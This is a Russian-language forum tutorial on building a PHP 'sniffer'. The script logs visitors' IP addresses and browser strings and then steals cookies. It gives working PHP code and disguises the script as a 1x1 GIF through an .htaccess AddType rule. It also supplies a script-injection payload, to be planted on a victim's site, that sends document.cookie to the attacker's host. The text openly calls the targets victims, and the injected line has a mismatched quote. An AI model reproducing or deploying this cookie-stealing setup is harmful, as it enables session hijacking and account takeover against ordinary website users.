Многие, скорее всего, пользовались ачатовским сниффером. Многие знали как он работает, многие даже не догадывались. Вот для вторых и предназначена эта статья.
В этой статье гуру ачата и профи программеры ничего нового для себя не найдут.
Итак, начнём. Для начала теория. Что такое сниффер?
Цитата из википедии
Анализатор трафика, или снифер (от англ. to sniff — нюхать) — сетевой анализатор трафика, программа или программно-аппаратное устройство, предназначенное для перехвата и последующего анализа, либо только анализа сетевого трафика, предназначенного для других узлов.
Мы будем писать скрипт, который позволяет получать какие-то сведения о тех, кто заходит к вам на страницу.
Какие сведения можно получать сниффером? Да почти любые, начиная от IP адреса жертвы, заканчивая coockies.
Зачем это надо? Если у вас возник такой вопрос, то эта статья, скорее всего, вам не пригодиться. Итак, поехали...
Что нам надо для создания собственного сниффера?
- мозг и ровные руки
- хостинг с поддержкой PHP
Для начала повторюсь.
Задачей нашего сниффера будет сбор информации о жертве, зашедшей на наш сайт и сохранение этой информации в файле.
Создаём 2 файла - sniff.php и log.txt
Заполняем файл sniff.php. Для понимая того, что мы делаем, мы будем сейчас работать со стандартными переменнымы.
Переменная file будет хранить название и путь к файлу log.txt, нашему файлу с результатами:
$file=”log.txt”;
Теперь объявим переменные, в которых будет хранится информация о дате и времени посещения страницы.
PHP код:
$data=date("D.M.Y"); //в скобках прописан формат отображения даты D - день недели, M - месяц Y - год.
$time=date("h:i"); //в скобках прописан формат отображения времени h - часы, i - минуты
Теперь нам нужно собрать инфрмацию о посетителе. Что может лучше описать посетителя, чем его IP адресс и информация о системе?
PHP код:
$ip=trim($_SERVER['REMOTE_ADDR']);
$sysinfo=trim($_SERVER['HTTP_USER_AGENT']);
// это стандартные переменные, которые автоматом принимает сервер
Теперь пишем основной код
PHP код:
if(is_file($file)){ //Проверяем наличие файла и возможность работы с ним
$fo=fopen($file,"a"); //Открываем файл на запись в конец
$res="$data | $time | $ip | $sysinfo \n"; //Формируем строку с информацией от жертвы
//в формате дата|время|ip-адрес|характеристика системы
//переход на следующую строку n
$fw=fwrite($fo,$res); //Записываем в файл
fclose($fo); //Закрываем файл
}
Сниффер готов. Заливаем его на любой хост с PHP и проверяем его работу. Заходим на страницу sniff.php и видим белый экран без ошибок - значит всё сделали правильно. Теперь смотрим содержимое файла log.txt. Оно должно быть примерно следующего содержания:
10.09.2007 | 22:45 | 127.0.0.1 | Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6
Что теперь с ним делать? Да ничего почти. Для серьёзных вещей он не подходит. Для серьёзных и интересных вещей нам нужно уметь пользоваться куками. Что такое cookies?
HTTP-Cookies или Куки (от англ. cookies — домашнее печенье), иногда используется сленговый синоним — «плюшки». — служебная информации, посылаемая веб-сервером на компьютер пользователя, для сохранения в браузере. Применяется для сохранения данных, специфичных для данного пользователя, и используемых веб-сервером для различных целей, в числе которых:
* в системах с удаленным доступом — пароль, порождаемый сервером при первом подключении и отсылаемый пользователю; при последующих подключениях пользователь должен предоставлять серверу этот пароль
* отслеживание состояния сессии
Так что всё в ваших руках... Юзаем свой мозг и гугль, совершенствуемся...
Для тех, кому лень это делать продолжаю статью.
Для того, чтобы украсть чужие куки нам нелбходимо:
- всё, что нужно было для создания простого сниффера
Для начала создадим картинку, размером 1х1 пиксель(для примера). Далее, в файл sniff.php добавляем переменную
PHP код:
$query=trim($HTTP_GET_VARS['cook']);
Не забываем добавить эту переменную на запись в файл
PHP код:
$res="$data | $time | $ip | $sysinfo \n $query \n"; //Формируем строку с информацией от жертвы
Так же отображаем нашу 1х1 картинку:
PHP код:
Header("Content-type: image/png");
$im = ImageCreateFromGif("путь_к_вашей_картинке");
ImageGif($im);
ImageDestroy($im);
Переименовываем наш sniff.php в sniff.gif и создаём на серваке файл .htaccess со следующем текстом:
AddType application/x-httpd-php .gif
Теперь пишем скрипт, который будет находиться на сайте жертвы, и передавать нам с него все куки:
Код HTML:
<script>img = new Image(); img.src = "http://путь_к_вашему_снифферу/sniff.gif?cook='+document.cookie;</script>
В этом скрипте мы получаем куки и отправляем их нашему скрипту в переменной
cook.
Проверяем работу скрипта. Писал без кофе и пива, так что мог что-то забыть. Почитаю коментарии и доделаю статью с утра. Всем спасибо.